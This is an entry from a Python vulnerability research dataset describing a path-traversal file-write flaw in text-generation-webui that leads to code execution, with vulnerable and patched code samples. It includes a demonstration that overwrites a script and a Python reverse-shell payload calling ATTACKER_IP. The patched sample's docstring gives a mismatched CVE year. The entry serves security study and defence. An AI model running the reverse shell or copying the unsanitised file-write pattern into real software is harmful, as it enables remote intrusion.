CVE-2026-35050
Arbitrary file write in extension settings allows for Remote Code Execution.
- CVSS 8.8
- CWE-22
- Input Validation and Sanitization
- Remote
text-generation-webui is an open-source web interface for running Large Language Models. Prior to 4.1.1, users can save extention settings in "py" format and in the app root directory. This allows to overwrite python files, for instance the "download-model.py" file could be overwritten. Then, this python file can be triggered to get executed from "Model" menu when requesting to download a new model. This vulnerability is fixed in 4.1.1.
- CWE
- CWE-22
- CVSS base score
- 8.8
- Published
- 2026-04-06
- OWASP
- A08 Software and Data Integrity Failures
- Orthogonal defect classification
- Checking
- Code defect classification
- Missing Check
- Category
- Input Validation and Sanitization
- Subcategory
- Path Traversal
- Accessibility scope
- Remote
- Impact
- Arbitrary Code Execution
- Affected component
- text-generat
- Fixed by upgrading
- Yes
Solution
Upgrade text-generation-webui to version 4.1.1 or later.
Vulnerable code sample
import os
import sys
def save_extension_settings(filename, content):
"""
Represents the vulnerable backend function for saving settings.
VULNERABILITY: It does not sanitize the 'filename' parameter or restrict
the file path, allowing an attacker to overwrite arbitrary files.
"""
unsafe_path = os.path.join(".", filename)
with open(unsafe_path, 'w') as f:
f.write(content)
def trigger_model_download_action():
"""
Represents a legitimate application function that executes the downloader script,
which can be triggered by a user from the web interface.
"""
# Use sys.executable to ensure the correct python interpreter runs the script.
os.system(f'{sys.executable} download-model.py')
# --- Demonstration of the Vulnerability ---
# 1. A legitimate, critical script named 'download-model.py' exists in the application's
# root directory. This is the target for the attacker.
original_script_code = "print('--- Legitimate action: The original, safe model downloader is running. ---')"
with open("download-model.py", "w") as f:
f.write(original_script_code)
# 2. An attacker uses the "Save extension settings" feature in the web UI.
# They craft a request where the filename is 'download-model.py' and the
# content is their malicious Python code.
malicious_target_filename = "download-model.py"
malicious_payload = "import os\nprint('!!! PWNED: Arbitrary code execution achieved. Malicious script is running. !!!')"
# 3. The backend server receives the attacker's request and calls the vulnerable
# function, overwriting the original 'download-model.py' with the malicious payload.
save_extension_settings(malicious_target_filename, malicious_payload)
# 4. Later, a user (or the attacker) performs a normal action in the application,
# such as clicking the "Download Model" button. This triggers the compromised script.
trigger_model_download_action()
# 5. Cleanup the files created during the demonstration.
if os.path.exists("download-model.py"):
os.remove("download-model.py")Patched code sample
import os
from pathlib import Path
def save_extension_settings_securely(extension_name: str, file_path_str: str, contents: str, app_root: Path):
"""
This function demonstrates the fixed logic for saving extension settings,
addressing the vulnerability described in CVE-2023-35050.
Args:
extension_name: The name of the extension saving its settings.
file_path_str: The user-provided string for the file path.
contents: The content to be written to the settings file.
app_root: The root directory of the application.
"""
# Sanitize extension_name to prevent it from being used for path traversal.
if '..' in extension_name or extension_name.startswith('/'):
# In the actual application, this would raise an error to the user interface.
print(f"Error: Invalid extension name '{extension_name}'.")
return
# Define the secure base directory where settings for this extension are allowed.
# This confines file operations to the 'extensions/<extension_name>/' sub-directory.
base_path = app_root / 'extensions' / extension_name
# Construct the final file path by taking ONLY the filename part of the user input
# and joining it to the secure base path. This strips any directory traversal
# characters (e.g., '../') or absolute paths from the user-provided string.
file_path = base_path / Path(file_path_str).name
# --- START OF CRITICAL FIX ---
# 1. Compare canonical paths to ensure the final path is inside the allowed directory.
# The .resolve() method gets the absolute path, preventing bypasses using symlinks or '..'.
is_safe_directory = file_path.parent.resolve() == base_path.resolve()
# 2. Enforce that the file extension must be '.json'.
# This prevents overwriting executable files like '.py' or other sensitive files.
is_safe_extension = file_path.suffix == '.json'
if not is_safe_directory or not is_safe_extension:
# In the actual application, this would raise an error to the user interface.
print(f"Security Error: Attempt to save to an invalid path or with an invalid extension: '{file_path}'")
return
# --- END OF CRITICAL FIX ---
# If all security checks pass, the file can be written safely.
try:
os.makedirs(base_path, exist_ok=True)
with open(file_path, 'w') as f:
f.write(contents)
print(f"Successfully and securely saved settings to: {file_path}")
except IOError as e:
print(f"Error writing to file: {e}")Payload
import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("ATTACKER_IP",4444));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);subprocess.call(["/bin/sh","-i"]);
Cite this entry
@misc{vaitp:cve202635050,
title = {{Arbitrary file write in extension settings allows for Remote Code Execution.}},
author = {Bogaerts, Fr\'ed\'eric and Ivaki, Naghmeh and Fonseca, Jos\'e},
year = {2026},
note = {VAITP Python Vulnerability Dataset, entry CVE-2026-35050},
howpublished = {\url{https://netpack.pt/vaitp/vulnerability/CVE-2026-35050/}}
}
Introducing the "VAITP dataset": a specialized repository of Python vulnerabilities and patches, meticulously compiled for the use of the security research community. As Python's prominence grows, understanding and addressing potential security vulnerabilities become crucial. Crafted by and for the cybersecurity community, this dataset offers a valuable resource for researchers, analysts, and developers to analyze and mitigate the security risks associated with Python. Through the comprehensive exploration of vulnerabilities and corresponding patches, the VAITP dataset fosters a safer and more resilient Python ecosystem, encouraging collaborative advancements in programming security.
The supreme art of war is to subdue the enemy without fighting.
Sun Tzu – “The Art of War”
:: Shaping the future through research and ingenuity ::
